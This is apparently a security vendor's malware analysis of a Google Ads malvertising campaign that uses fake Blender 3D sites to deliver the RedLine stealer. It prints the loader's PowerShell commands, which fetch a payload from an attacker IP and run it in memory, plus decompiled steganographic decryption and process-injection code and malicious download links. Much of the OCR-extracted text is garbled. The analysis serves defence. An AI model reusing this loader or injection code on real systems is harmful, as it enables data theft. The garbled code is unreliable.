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In recent months, we observed an increase in the number of malicious campaigns that use
Google Advertising as a means of distributing and delivering malware. At least two different
stealers, Rhadamanthys and RedLine, were abusing the search engine promotion plan in
order to deliver malicious payloads to victims’ machines. They seem to use the same
technique of mimicking a website associated with well-known software like Notepad++ and
Blender 3D.

The treat actors create copies of legit software websites while employing typosquatting
(exploiting incorrectly spelled popular brands and company names as URLSs) or
combosquatting (using popular brands and company names combined with arbitrary words
as URLs) to make the sites look like the real thing to the end user—the domain names allude
to the original software or vendor. The design and the content of the fake web pages look the
same as those of the original ones. Threat actors then pay to promote the website in the
search engine in order to push it to the top search results. The technique is called
“malvertising”.

Our observations

In the following snapshots, we can see Google ads promoting fake pages for AMD drivers
and the Blender 3D software. If we take a closer look at the URLSs, we will see that the
domain names incorporate the software name but are in fact unrelated to the real AMD or
Blender 3D vendors. In most cases, the top-level domains are different from those of the
official sites as well. The use of less common TLDs enables the threat actors to register
second-level domains that are similar to the real ones. These domains lure victims to click on
the link and access the fake website more often than random domains registered in a more
common domain zone, such as COM, because they may look more like a legitimate website.

Google 9 a4 Hogle

- AMD Drivers Ad - hitps:wwwamd. - top/ £
and articles for additional details. AMD Software Adrenalin Edition is AMD Drivers - Display Driver
for your AMD products AMD Software Adrenalin Edition |s an easy-to-use interface for your AMD products. Consult

C]O g|e Blender 30 download W 1 - \

Ad - hitps:/iwww blender3d- net i
Blender 3D Official Site - Blender 2023 Download

Blender 3D is 1

Fake AMD and Blender 3D websites in search results

We visited some of the promoted sites and obtained the malicious payloads they were
distributing. In this article, we will focus mainly on the “Blender 3D” fake websites.
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Fake Blender 3D web pages

The size of the downloaded file (ZIP archive) is 269 MB, which is close to the original
Blender installer size. The size of 257 MB stated on the fake web page matches that of the
original Blender 3D installer, but it does not match the size of the fake download.

When the user clicks the “Download” button, the archive blender-3.4.1-windows-x64.zip
(EOBDF36E4A7CF1B332DC42FD8914BA8B) is downloaded.
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The size of the file (BBASAA93FCDDASAC7663E90COEEFA2ET) extracted from the archive
is 657 MB. When launched, it drops two files into the temp directory:

o The original Blender 3D MSI installer (marked green on the screenshot below), whose
size is also 657 MB;

o A PE file that acts as a next-stage loader for a malicious PE file (marked red), which
also has the same size as the original installer: 657 MB.

I [ [ = | xpooo.Tmp
Home Share View
= v P » This PC » Local Disk (C:) » Users » Bob » AppData » Local » Temp » [XPODO.TMP v | D
.
[] Mame Date modified Type Size
3F Quick access
I ] SetupFileProgram_v12.6.exe I 1/16/2023 219 PM Application 672,998 KB
I Desktop = - - — -
ﬁ' blender-3.4.0-windows-x64 1/16/2023 2:19 PM Windows Installer ... 672,993 KB
* Downloads

Dropped files: the original Blender 3D MSI installer and the malicious loader

The size of the dropped malicious loader is this big because it is inflated with junk bytes
when the PE file is created. The deflated malicious loader size is about 330 KB, and the rest
is junk.
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&) SetupFileProgram_v12.6.exe

Cffzet(h) 00 CO1 02 03 04 05 0 07 O 0% 04 OB OQOC OD QOE OF Decoded text

03A25250 E2 EZ E2 EZ E2 EZ E2 EZ2 E2 E2 E2 E2 E2 E2 E2 E2 3H35333533435334353aaa
03A25260 E2 EZ E2 EZ E2 EZ E2 EZ E2 EZ2 E2 E2 E2 E2 E2 E2 3H35333533435334353a3aa
03A25270 E2 EZ E2 EZ E2 EZ E2 EZ2 E2 E2 E2 E2 E2 E2 E2 E2 3H3533533435334353a3aa
03A25280 E2 EZ E2 EZ E2 EZ E2 EZ E2 EZ2 E2 E2 E2 E2 E2 E2 3H3533453343533433a3aa
03A25200 E2 EZ E2 EZ E2 EZ E2 EZ2 E2 EZ2 E2 E2 E2 E2 E2 E2 3H35333533435334353a3aa
03A2592R0 EZ2 EZ E2 EZ E2 EZ E2 EZ2 E2 E2 E2 E2 E2 E2 E2 E2 3H35333533435334353aaa
03A252B0 E2 EZ E2 EZ E2 EZ E2 EZ2 E2 E2 E2 E2 E2 E2 E2 E2 3H35333533435334353a3aa
03A252C0 E2 EZ E2 EZ E2 EZ E2 EZ2 E2 E2 E2 E2 E2 E2 E2 E2 3H3533353345334353aaa
03A252D0 E2 EZ E2 EZ E2 EZ E2 EZ2 E2 E2 E2 E2 E2 E2 E2 E2 3H35333533435334353a3aa
03A25952EQ0 E2 EZ E2 EZ E2 EZ E2 EZ2 E2 E2 E2 E2 E2 E2 E2 E2 3H3533453343533453a3aa
03A25952F0 E2 EZ E2 EZ E2 EZ E2 EZ2 E2 EZ2 E2 E2 E2 E2 E2 E2 3H35333533435334353aaa
03A25300 E2 EZ E2 EZ E2 EZ E2 EZ2 E2 EZ2 E2 E2 E2 E2 E2 E2 3H35333533435334353aaa
03A25310 E2 EZ E2 EZ E2 EZ E2 EZ2 E2 E2 E2 E2 E2 E2 E2 E2 3H35333533435334353a3aa
03A25320 E2 EZ E2 EZ E2 EZ E2 EZ2 E2 EZ2 E2 E2 E2 E2 E2 E2 3H3533353345334353aaa
03A25330 E2 EZ E2 EZ E2 EZ E2 EZ2 E2 EZ2 E2 E2 E2 E2 E2 E2 3H3533353343533453aaa
03A25340 EZ2 EZ E2 EZ E2 EZ E2 EZ2 E2 E2 E2 E2 E2 E2 E2 E2 3H35333533435334353a3aa
03A25350 E2 EZ E2 EZ E2 EZ E2 EZ2 E2 EZ2 E2 E2 E2 E2 E2 E2 3H35333533435334353a3aa
03A259360 EZ2 EZ E2 EZ E2 EZ E2 EZ2 E2 EZ2 E2 E2 E2 E2 E2 E2 3H3533353335334353a3aa
03A25370 E2 EZ E2 EZ E2 EZ E2 EZ2 E2 E2 E2 E2 E2 E2 E2 E2 3H35333533435334353aaa
03A25380 E2 EZ E2 EZ E2 EZ E2 EZ E2 E2 E2 E2 E2 E2 E2 E2 3H3533353345334353aaa
03A25300 E2 EZ E2 EZ E2 EZ E2 EZ2 E2 E2 E2 E2 E2 E2 E2 E2 3H35333533435334353aaa
03A2593A0 EZ2 EZ E2 EZ E2 EZ E2 EZ2 E2 EZ2 E2 E2 E2 E2 E2 E2 3H35333533435334534a3aa
O3R253B0 EZ EZ EZ2 EZ EZ2 EZ2 E2 EZ E2 EZ2 E2 E2 E2 C7 CT7 C7T &3333333838333CCC
Q3R293C0 CT CT CY CT CY CTCTCT CToCT T CTCTCTCT oY QRRoCCCooCCCooon
Q3m293D0 CT CT CT CT CY CT O CT CTOCT CToCT CTCTCT oY QROoCCCooCCCCoon
Q3R293EC0 CT C7 CT CT CY CT CT OCT CTOCT CToCT CTCTCT oY QRoCCCooCCCCoon
Q3R293F0 CT C7 CT C7 CY CT QT CT CTOCT CToCT CTCTCT oY QRRoCCCooCCCCoon
Q03m29400 CT CT CT CT CY CTOCT OCT CTOCT CTOCT CTCTCTCT QROoCCCooCCCCoon
Q03a29410 C7T C7 CT CT CY CTOCT OCT CTOCT CTOCT CTCTCT O QCRoCCCCoCCCCoon
Q3R29420 CT C7 CT CT CY CTOCT OCT CTOCT CTOCT CTCTCTCT QCRoCCCooCCCCoon
Q3R29430 CT C7 CT CT CY CTOCT OCTCTOCT CTOCT CTCTCTCT QROoCCCooCCCCoon
Q03a29440 CT CT CT CT CY CT O OCT CTOCT CTOCT CTCTCTCT QCOoCCCCCCCCCoon
Q3m29450 CT CT CT CT CY CT QT CT OCTOCT CTOCT CTCTCTCT QROoCCCoCCCCCoon
Q03a29460 CT CT CT CT CY CT O CT CTOCT CTOCT CTCTCTCT QCOoCCCCoCCCCooT
Q3a29470 CT CT CT CT CY CTOCT OCT CTOCT CTOCT CTCTCTCT QROoCCCoCCCCCoon
Q03m29480 CT C7T CT CT CY CT CT OCT CTOCT CTOCT CTCTCTCT QROoCCCoCCCCCCon
Q3m29490 CT CT CT CT CY CT QT CT OCTOCT CTOCT CTCTCTCT QCOoCCCCCCCCCoon
na3azg4aan CYT 7Ty OCYTOCTOCTOCTOOCTCTOCTOCT T T 0 I e A I I B

Junk bytes inflating the loader

After the initial installer (extracted from the archive) drops these two files, it runs the
malicious PE file using the CMD method (cmd.exe /c [Filename] command) to hide it from
the user. Additionally, the initial installer also runs the original Blender 3D MSI to make the
victim believe that the desired software is running.

Thus, the threat actors disguise their malicious payload through the installation of another
software product by creating a “pre-installer” for the legitimate software, which will put both
the malware and the desired genuine software on the victim’s machine.
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Name PID CPU I/Ototal ... Privateb.. Username G

37 SgrmBroker.exe 4544 002 509MB NTAUTHORITY\!

[ svchost.exe 8528 1.7MB NTA.\LOCALSI

[ svchost.exe 3340 267MB NTA.\LOCALSI

[ svchost.exe 5052 793MB NTAUTHORITY\!

[ svehost.exe 8428 283MB  NTAUTHORITY\!

43 blender Setup | [¥ svchost.exe 2580 1.67MB  NTAUTHORITYY!
[ svehost.exe 6336 62MB NTAUTHORITY!

[¥5 MsMpEng.exe 1032 001 260.29 MB  NT AUTHORITY\!

Welcome to the blender Setup Wizard [ svchost.exe 10308 63MB N.\NETWORKS
[ svchost.exe 10416 1.23MB  NTA..\LOCALSI

[35 WUDFHost.exe 7832 Z11MB  NTA,\LOCALSI

Please wait while the Setup Wizard prepares to guide you [ svchost.exe 9972 1314 MB  NT AUTHORITY\!
through the installation. 5 msiexec.exe 7436 002 6.05MB  NTAUTHORITY!
Computing space requirements [35] Trustedinstaller.exe 5356 1.77MB  NTAUTHORITY\!
[ svchost.exe 7736 1.77TMB  NTAUTHORITY!

[ svchost.exe 8440 1.63MB  NTAUTHORITY\!

816 014 769kB/s  957TMB NTAUTHORIV:
o76 151MB  Font Driver Host

68 019 109kB/s  225MB NTAUTHORTY:

748 306MB NTAUTHORTY:

%8 004 661 MB  Font Driver Host

1524 178 15326 MB  Window Man..Al

peplorer.exe 6180 346 99kB/s 123.67ME DESKTOP-Q3GAT

D SecurityHealthSystray.exe 9016 157MB  DESKTOP-Q3GAT

— e D Everything.exe 9124 001  484B/s  7T09MB DESKTOP-QIGAT

i vmtoolsd.exe ! 760B/s  37.86 MB DESKTOP-Q3GAT

v e blender-3.4.1-windows-...

12 MB
6.59 MB

EER TV

"% Physical memory: 2. B (55.206%) Processes: 148

Blender 3D installer launched by the “pre-installer”

The screenshot above shows the actual software installer running, but if we take a closer
look at the processes, we will notice a short-lived sub-process (cmd.exe /c ->
“SetupFileProgram”) run by the “pre-installer”. This short-lived process is the loader for the
malware.

The loader

The loader is a .NET file protected by an unregistered version of .NET Reactor. It seems to
use an anti-debugging technique in order to prevent a debugger from executing and
dynamically analyzing the binary. In a nutshell, the loader runs a new powershell.exe
process and manipulates it to execute numerous PowerShell commands, which instruct it to
access a third-party URL in order to get the payload. The payload is a base64-encoded,
AES-encrypted fileless binary. Further commands are related to decoding and decrypting
that binary, then running it in memory, within a newly created aspnet _compiler.exe process, a
legitimate Windows .NET framework compilation tool.

In this case, we observed two detection evasion tricks during the runtime:

» The fileless technique, which involves getting a payload from an online source and
loading it directly into the memory of a process;
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e LOLBAS (living-off-the-land binaries and scripts), which, in this case, is the use of a
.NET compilation tool to run the malicious binary.

Below, we provide a more detailed analysis of the loader execution chain. After passing the
loader anti-debugger, we can see that it starts a PowerShell process, so we will put a
breakpoint at the CreateProcessW WinAPI call to observe the behavior.

Tmov_edi,edi JCreateProcessn ™
nushEwe Hide FPU
mov ebp,esp
pop ebp E;‘“
Jmp dword ptr ds:[<4Createrrocesswe] IMP . ACFEATEPT OCESSW X
int3 ECx
int3 EDX <kernel32.CreateProcessw>
int3 EBP & Ban"
int3 ESP
t3 ESI
:ﬂ:: EDI L™\ C: /Windows /Sy swOWE4 /Wi ndowsPc
nt
::S EIP  7E41BSE0 <kernel32.CreateProcessis
::E; EFLAGS 00200300
ines ZF 0 PFO AF O
intcz OF 0 SF O DF O
inz3 CFO TF1 IF1
int3 3
int3 LastError 00000000 (ERROR_SUCCESS)
int3 LasTSTatus CO000139 (STATUS_ENTRYPOINT_NOT_FOUND)
int3
int3 G5 0028 FS 0053
Ll adi e e ES 0028 DS 0028
push ebp N €5 0023 55 002B

mov ebp,esp

50 pop ebp ST(0) 00000000000000000000 X87r0 EMPTy O.0000000000
~ FF25 78174876 Jmp dword ptr ds:[<&FindACTCTxSEctionsSt| IMP. &5 1ndAcTCTXNSECT1oNSTr 1ngw 000000 x87rl Empty O.000 -
cc int2 3 000000 X87r2 EMPTY 1.000
cC int3 ST(3) 3FEFS 000000 X87r3 EMPTy 1.000 3
cC I:I"ti ST(4) 00000000000000000000 X87r4 Empty O.0000000000C
cc int3 ST(5) DODOOOOOD0OD00000000 X87FS EMPTY O.0000000000C
cc int3 ST(6) 400&F700000000000000 XB87r6 EmpTy 247.00000000(
cc int3 ST(7) 3FFCCCCCCCCCCCEQOOO0 X87r7 EMPTy O.2000000000C
cc int3
cc int3 < P
cC int3
oC int3 » [5 [#]0 unlode
r£a1 8816 rr inr L
< > 2 00000000
2: [esp+8] OO4FDFTE L™\"C:/Windows/SyswOwed, WindowsP
ed1=004FDFTE L™\ "C: /Windows /SyswOwe4 /windowsPowershell /vl.o/powershell. exe\"™ 3: [esp+C] 00000000

4 :sm:u‘)} 00000000
5: [esp+14] oooooool

LTeXt:764188E0 kernel3z.d11:$168E0 #3BED <CreatePfrocessw>

o) 2 T «N1.EF19CAS2 ”?
Wouro1  Uigoumpz  @Moump3  @Moumpd  WEoumps B wewhi  Icllocss ) stuct | E——— —
Address | Mex | Ascrz I [~ [F78| L"\"C: /Wi ndows /SyswOWE4 /Wi ndowsPower Shel1/v1. 0/power shel 1. exe)\,""
77DA1000 |28 00 18 OOIED 7D DA 77124 00 16 00150 7C DA 77| N...00W....P|0W 1™ P

Call of CreateProcessW to spawn a PowerShell process

Since we did not see any command passed to the PowerShell process when initializing it via
the CreateProcessW call, we can conclude that it will be passed at some point later, so we
can observe the passing of the PowerShell command(s) by putting a breakpoint at WinAPI
WriteFile in order to see the command lines for the powershell.exe process.

So, after letting it run and reach the breakpoint, we will check the result in the return of the
function call, and we can see in the stack that the first command pushed to the
powershell.exe process was #Start-Sleep -seconds 30;.
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- D20 BBCE moy £CX,eax
HEE I et I 35 Sitoeooo ’ —
. o e, edx
#| 75202075 3 03010000 tj-_np T :x 00000001‘1
-----@| 762D20TA| ~ 75 54 ne ne’ €. 76202000
o | 7620207C 88C MmOV _ECK, eax ECX  F1853DEA
o 7620207 ES 0D1C0000 a1 kernelbase. 6203030 EDX  D12FE1SC
i #|| 76202083 33C0 XOF eax,e EBP  DIZFEL1EC
@ | 76202085 884D FO mov ecx,dword E 551 I!BD 10q [ebp-10]:"4L | u x4 ESP  D12FE180 “gq:Ba \x04"
o) 76202088 6418900 00000000 mov dword ptr [ol GO000000: "1\ x01"™ ESI  033FD36 “#5tart-5leep -Seconds
# || 76202088 59 pop ecx EDI  O12FE204
H B £3p =01 #Start-sleep -seconds 307\r\
o7 pop esi esi:"#5tart-Sleep -Seconds 30;°\r\n"
o] 76203002 H pop ebx EIP 76202094 kernelbase. 76202094
| 76202033 €3 leave e S G T e EFLAGS 00200202
o[ 76202087 51 push ecx dr o L L0l
»| 76202038 FF75 10 push dword prr ss: OF 0 SF O DF O
»| 76202098 FF75 0C gush dword ptr ssi 1 -l il
»| 7620209 8045 EO ea eax,dword ptr ss
o 76202041 50 push eax LastError 2 (ERROR_FILE_NOT_FOUND
e 76202042 51 push ecx LastStatus cooooo;a (STATUS_DBIECT_NAME_h
o 76202043 51 push ecx
8| 76202044 L1 push ecx &5 0028 FE 0053
® || 76202045 sh edi & 0 — ES DO2B DE O0ZE
o) 76202046 FF15 DC373ATE dword ptr ds:[<&ZwWriteriles
HEEET I PN it
. Al omp ecx, 1
-----#| 76202084 + OF84 CO570300 1epwré1m.7eawan ET0) D0000000000000G00M00: X871 | EMpry 0
| 76202084 B85C9 test ecx ecx ST{1) DOO0ODOOOO00O0000000D0 XB7FL EMPTY O.
o 762D208C ~ OFBE D1570300 35 ker nelbase. 76307893 5T{2} 3FFFEO00D000000DD0000 XBIF2 EMPTy 1.
| 7e2D20C2 B5FE Test esi,esi es5i:"#5Tart-sleep -Seconds 30;%r\n" ST{3} 3FFFE000000000000000 XE7r3 EmMpty 1.
--|| 762020C4( « 74 OS5 je kernelbase. ?m!u:l 5T{4)} 0O0OD0O0DO0O000000000 XETr4 Empty O.
o 762020C6 8BB4 E4 moy eax,dword ptr rup icl [ebp-1C]:&"#5tart-5leep -Seconds 30;%rin” ST{5) D0000D000000000000000 XETrS Empty O.
o) 762D20C9 8906 mov dword ptr ds: [es eax esi:"#start-Sleep -Seconds 30;%r\n" FI'(B) 4000C000000000000000 XB7ré Empty 3.
t--2e| 7E2020CE 23c0 XOF Eax,eax N
o 76202000 40 inc eax
o 762D20CE ~ EB BS imp kernelbase.76202085
T 00 38CA mp ecx,edx
76202002| ~ 74 AB je l&m‘llﬂl 7620207C
M B AEER Facr mes medMSrart-Slann -Sarnnde 300Lrlet
<
-Text: 76202094 kernelbase.d11:$112094 #111494

B watch 1

$Boump2 @Mowp3  Wowp+  Wloumps

77DALO90

TTDA

77DALOBO [
77DALOCO | EE E3 D3 FO
77DALODO| 9A 8B 13 35
77DALOED |06 00 O1 00
TMAIOEN | RO T2 41 44

Observing the pushed command(s)

return to mscorlib.ni.6FF08ET1 from 777

AT

8
clr.71052EE8

We can try checking the memory section where the command is stored and searching for
other commands that are being kept in the memory for later use by the loader.

033F2948
033F2958
033F29658
033F2978
Q33F2988
033F2998
O33F294A8
033F29B5
033F29CH
033F29D8
033F29ES8
033F29F8
Q33F2A08
033F2A18
O33F2A28
033F2A358
O33F2A48
O33F2AL8
O33F2A65
D33F2A7E
Q33F2AE8
O33F2A98
O33F2A48
033F2ABS
O33F2ACE
033F2ADEB
D33F2AES
O33F2AFB
Q33F2BOE
033F2BE1E
033F2B28
033F2B358

Memory address of the pushed PowerShell commands
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After taking all the data from this memory section, we will see all the commands passed to
the powershell.exe process via the WriteFile WinAPI call.

#5tart-S5leep -Seconds 588

#5tart-Sleep -Seconds 38;

#farrl = @(0)*1006*1000*100;

#Add-Type -AssemblyName System.Windows.Forms;

w[S;,stem Windows. Fo ms . MessageBox]: -.Showf You have an old version of the app, upgrade to the new version by going te trovata.ie’, "Errer’, "OK", 'Error');

{ Invoke-webrequest Gl 114.-"docf,-’r‘SYmmeppq..aKGSDFde.-IASDkSEzYD{Y txt® -UseBasicParsing).Content;

var - [System.Convert]::
New Object System.Secu g
ar.Mode [Hyﬁ‘r?m Security. Eryp'rogr‘aphy (1|1h?r' J|0d?]
ar.Padding = [System. Secur‘:lt) Cr,rptngr'aphy Paddlngl"ﬂde| H\
/ [System.Convert E 'Sst.r.mJ.1 EBUElcquEIdNBquUTdeIJ Yui9xc7GEjqowEFDEQ=");
tring( ' uG/mMnBmHra0Z1Ks0DkTTg==");

ar, @, $payload_var.Length);
New- Objpr‘r Sy
New-Object Sys ¥ ;
New-Object Syst ~ession (_ ipStream($msi_var, [I0.Compression.CompressionMode]::Decompress);

ar.CopyTo($meo_var);

yil;

cflcction Assembly]: :Load($payload_var);
2_var EntryPoint;

tep? - Invoke( $ 1 (, [string[]] (

1)); #($null, $null);

Start- SlPPp -Seconds 588

PowerShell commands

If we read the commands, we will see exactly what the powershell.exe process is about to
do. The commands instruct it to perform the following actions:

N

. Download string data, which is part of the following URL, namely the name of the file:

http[:]//45.93.201[.]114/docs/[RandomChars].txt. The downloaded data is a Base64-
encoded string that is decoded into encrypted data.

. Prepare the decryption method, AES-CBC, as can be seen in the screenshot above.

We can also easily see and decode the Base64-encoded key and IV (initialization
vector) used for decryption in the PowerShell command.

. Decrypt the data into a Gzip-compressed binary.
. Decompress the binary.
. Invoke the binary to run it.
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Recipe CI T +o2am

X4sEXHKUPAbaA+ELnDZgKnUrC173QeY1cQeyKPEGORCPN .0 Jw/VLIG51¥ag/C ] 2RI rtvike210c 200 INI+bZbKT TUky rtufCy KNS/ KPR z516k59380xel
kIsN2TvI{oRuFLz/ Tawsarg/ CTUSBEGFKshRS0axhL 3Kg/ vNOSNSCDGFVHAZSapof TAF 7 INswCx 3C NNy nESIMEQSy v 1 LZDS X akaEBWBSOEP Ue 26/ gtoecHRL
POTERER 55Zb0b0js+8LKII1r/hNLD/ Z6NLID/ FAFWTQGhrQjZZ7QMc L0FWL / SHrRPMAHGZ 20w 3w0ulIroL YaPZ6old LunrPAY Bk JHEGKOHS Int jgBR ZWDHnvBuedAekL
A-Za-28-9+/= = FGODLWeqC+QHgQUOCDP5a2q011g]x0uT LruZeuagGaLC0+ZTINI CNOSrASCdn ZWNZRDY 3y IQogM, /MRy FC2PHZUUF puxHdOxhB TBhGAGUTL 1kCwoo 3k+eHd A+
SULYZ1LrCNKHO?mahhk@VEFhswlirSonfUviMAKypOly p+iXbeIf 1 EmeFoGj fyAeQAIKewsoTeXt 3 jBkAZDEbESVERHSES iudvyIHIN2 +argi 9TxnflaQ53cTgh

EOAHXE+FQMI+001F FX3CWION jwXBGta00l Eqj@iMz+/ FON000JPEAYELSPBUHOULEKPUTT@NkdT 18Mr2 1Tcms sTFYSNGOErkkGEKSLIWRrPa0T gFFLOAZIANKL

Remave non-alphabet chars D Striet mode TWHIGT ZGS+XER EDrAE: TVDQXDHXS JOUBAXbE0AGE L MGVRYT 3ZQwul61rY ig0oxMUT 1084C05HHI 1182q8LAgm30he 5 1008 s IUHTNU
Peg) FDKYErKAGT 2L cFFQUSVF 1800rcbirraZihE Ld1+rilgaUHGE scOxykX ZhpknO+gxkn,/ 4KUMrXuP/ QGEEnVNAZp Fws L dikUh 3oC 6oy kg JHF péis+ 652HDTA
AcFATAIIVIEQePunUgXCdHULE] beFRIE cuhDuUTRaA dWSSmEV]x1 vduDZ ezt 73oLx] KeJEZNsxRpt nRL v k+K2r&6Fmi JafvaazXsDipe/ / Zas+] sikMasish

From Basefd ®n

AES Decrypt on 18IT2LdTvGknvvpd hiMGUYDZ )7 2UEWqPt60BL 1T 50Et ey UXDYS @G IWvPCAs IgaenTHTaxy 22+l IvVgiduenzZfLNhec SXT+gtcTTV/ Sy IRmFgRACS/ LYICZY
bmHYYK ccUBMAg fOmeodNY G2 2B0hy Y'Y gZWD] IPgrismBCF r11BHduCUI4TRAKIUCRIMMp 3/ BMggS8deXxnlivPEKFQofNbBRIS47 1 awt /97 2QvQEAC tcWApNogX
Kev BASEGS = 2rIuh7RBNHZGC 20V /45 HACUTQMYUhSSwEnwaNLMYHOmGUF8TEpgvh . | r02awFR ] 1/ BHFY +y XWDbY TtUTGAPr 7 S8/ vaOUATXACSAWeXg g TIPS TLOPkek PHE JWHI

EB0E104:qi ELM3qAsUTAKb i 2 ¥ui S 766 jqowEFD)= b3Z6y0565BHxqaBunSkS IXALS1U/ ezqmp3UNLD2paT 4sHTS/ Ly IpoT 1LHvOcoak FXaCshzpoPxYmATVENcouSAro JMd1TpZ FhVYPRIgEZp] kF@SOMEQsXahse

pur+aY2GKnpraZmRdlavyniGaNiv]+1pNpCFaLeCuaBAAIWDrC+ XDEHSHeBDXTEBWI+ 1224y hOnS8857 15rUIn1ASEDAcgdB 1] jncbEk InLmI08L2asRq1

G/ mMnBmHra0Z 1Ks0DkTTg== BASEG4 ~ FOPGIU/ xu+ 1tHWaTKSHIHhkvIqDojvd IKXDIFBS B! kp7RogqrQSarwhdDREFN sugqQtBlgLrkxgaijTAvIaybakz@sSEwGjOjrEcDoBMCVUTN
£ VPR XLWSYGYZPCf IMBu I Xs 1w@6HOAQo IB 548k T jrORokgN2Lokah jxRnEMNCyEL1K2zaTsSMUSMGT reoblB8+vtvNuLAPCY 601 tWNhIMd g FeczcN33m/ u/k/
Mode ey P vz 1dBpAxT L/MKVIWKh24x 103/ eDCp/ 0tkhpell AUFLEchTme/ TFAYGREMSSY2AZ THAG DMTEDCSBOOL L j 146 TnHgY sVSng 78+ InowT tEALYL
CBC Raw Raw NCE3811mal6 2HIHNOC TMRMCYMZ EQTHOS9E Tal AdwI67 1] LEUCUh4GOGOF qmbi+g1lyEcBVIpxvWY1eF IThdrmj3J0URS /RQHUZVdouaS 1dIP8PaazCSEF 10bs
dKC/ 0y ThMWFDAd IMG2 1 svglztZgot f2InP] ZAAHKgEwkg8IqQ1 POLGrFb+BFOjpaxeulgtgEMLIz YREgN+ G NDOKS IZAFE /WMy IZmAra)
AMGE Al TELB 1M AabB0e L mi a4 ol Bhaf 20K aGalTF A0 s ¥Ve TAF - TNEMTFUSVVaO T SVAVRREVE » A sUAGiebll AUATENTUA TS T+ 1T 2 all¥ Tord nfamh Ol 3%l
] n
Gunzip e . time:  Goms B n - e
g length: 231424

Output  #. lires: 1128 OcG =

MEooenenneeadeniennneeaernnaannniansasrnnnasnrnsannrnnannnereae.8.. " T LTIThis pregram cannot be run in DOS mode.

cen X
Y . T L - U TR S

Decrypted binary

The extracted binary (RedLine stealer)

The binary that we obtained is the dropper of known malware, the RedLine stealer. The
version of the stealer at hand uses an interesting technique to hide its malicious payload: it is
encoded in the least significant bit of images stored in the resource section of the dropper, as
well as the key and the |V bytes for its AES decryption.
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Resources X

// moltMatar.jpg (58877 bytes, Embedded, Public)

Save

L

// moltPeroxy.jpg (63348 bytes, Embedded, Public)

Save

onen

Embedded images with a malicious payload
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289
218
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212
213
214
215
216

public static void Main(string[] args = null)

{

Assembly executingAssembly = Assembly.GetExecutingAssembly();
babuinaDhal.AntiDebug();
whereatCuttler.ioniobjet();

byte[] array = unitAngelin.GetResource("peroxySluts.jpg”, executingAssembly);

Bitmap bitmap = new Bitmap(Image.FromStream(new MemoryStream(array)));

array = griefUnit.BytesFromLSBPicture(bitmap);

byte[] array2 = unitAngelin.GetResource("slutsThujas.jpg", executingAssembly);

bitmap = new Bitmap(Image.FromStream(new MemoryStream(array2)));
array2 = griefUnit.BytesFromLSBPicture(bitmap);
List<byte> list = new List<byte>();

string[] array3 = new string[] { "moltPeroxy.jpg”, "turmutGrief.jpg”, "moltMatar.jpg”, "thujasPeroxy.jpg” };

foreach (string text in array3)

{

. byte[] array5 = unitAngelin.GetResource(text, executingAssembly);
bitmap = new Bitmap(Image.FromStream(new MemoryStream(arrayS)));
arrays = griefunit.BytesFromLSBPicture(bitmap);

: list.AddRange(arrayS);

4

byte[] arrayé = unitAngelin.AesManaged_CBC_PKCS_Decrypt(list.ToArray(), array, array2);

array6 = unitAngelin.GzipDecompress(array6);
for (int j = @; j < 18; j++)

{
] primineReadl primineReadl = default(primineReadl);
IntPtr zero = IntPtr.Zero;
IntPtr intPtr = Marshal.AllocHGlobal(@);
try
{
unfrostFesse.employeBirde(array6, ref primineReadl, ref zero, ref intPtr);
if (lunfrostFesse.palmeryEmploye())
{
break;
: ¥
T
' catch
g
object[] array7 = new object[] { primineReadl.skybalNookies, 1U };
unsoledMaimon. InvokeNativeFunction(“kernel32.d11l”, "TerminateProcess”, typeof(unfrostFesse.whereatDhal), ref array7);
¥
Marshal.FreeHGlobal(zero);
! Marshal.FreeHGlobal(intPtr);
4

Environment.Exit(e);

Payload decryption routine

After decrypting the payload, the dropper starts a legitimate process named
“aspnet_compiler.exe”, which is part of the Microsoft .NET framework, and injects the

payload into it.

private static void employeBirde(byte[] birdewWishly, ref primineReadl PI, ref IntPtr cyprestEmploye, ref IntPtr objetEyeball)

{

string text = Path.Combine(Environment.GetEnvironmentVariable("SystemRoot"), "Microsoft.NET/Framework/v4.8.38319/aspnet_compiler.exe™);

IntPtr zero = IntPtr.Zero;

int num = BitConverter.ToInt32(birdeWishly, 68);
twiggedTumult twiggedTumult = default(twiggedTumult);
object[] array = new object[]

{

null,

text,

IntPtr.Zero,

IntPtr.Zero,

false,
pommageTrpset.unifiesRobbers,
IntPtr.Zero,

null,

twiggedTumult,

PI

i H
if (!(bool)unsoledMaimon.InvokeNativeFunction(“kernel32.d11", “CreateProcessA”, typeof(unfrostFesse.eyeballDhal), ref array))

i
throw new Exception(“1%);
¥
PI = (primineReadl)array[9];
IntPtr skybalNookies = PI.skybalhookies;
IntPtr vitiskybal = PI.vitiSkybal;
nockiesJewy nookieslewy = new nookieslewy
{
twiggedNudiped = sheafBreva.CONTEXT_ALL

_______ — SOy R R DN NS R T WY N DS T G
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Injecting a payload routine

Infrastructure

To deploy decoy pages, the malefactors register deceptive domain names, such as
blender3d-software[.]net or blender3d-software[.]Jorg. We have found more than fifty similar
domains hosted at the same IP address: 91.229.23[.]200. These domain names mimic other
software distribution sites as well, for example, afterburner-software[.]Jorg, tradingviews-
software[.Jorg, and unity-download[.Jcom.

The malicious payload could be stored on the same site (for example,
hxxps[://]blahder3dsoft[.]store/Blender[.]Jrar) as the landing page or on a public service that
can be used as the file hosting service (MediaFire or GitHub).

Conclusion

We are seeing an increase in the spread of malware families through Google Ads
campaigns, specifically through search ads. Threat actors use fake websites to mimic
legitimate software vendor websites to lure victims, and pay for ads to promote these. They
use typosquatting and combosquatting for their malicious website domains, which have
become common techniques in recent months. In some cases, such as the one described in
this article, the threat actors also make sure to install the desired software alongside their
malicious payload.

In recent campaigns, we observed mainly stealer-type malware, such as RedLine or the
notorious Rhadamanthys, which is also known to use malvertising techniques to reach
victims and steal data from their compromised machines.

This kind of distribution suggests that the threat actors are targeting victims, both individual
and corporate, all around the world.

Indicators of Compromise

loC Description
EOBDF36E4A7CF1B332DC42FD8914BA8B blender-3.4.1-windows-x64.zip
BBASAA93FCDDASAC7663E90COEEFA2EY blender-3.4.1-windows-x64.exe
4b6249beab0eec2d9e6890162a7fcadf Blender.rar
8d709a5ce84504f83303afda88649b24 RedILine stealer
d0915b6057eb60c3878ce88d71efc351 RedlLine stealer
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hxxps|[:]//download2392.mediafire.com/bb289kqoibyg/
1udjwornnpwxlua/blender-3.4.1-windows-x64.zip/

Link to malicious file

hxxps|:]//github.com/sup6724/blender3d13/releases/
download/updates/blender-3.4.1-windows-x64.zip

Link to malicious file

hxxps[://]Iblahder3dsoft[.]store/Blender].]rar

Link to malicious file

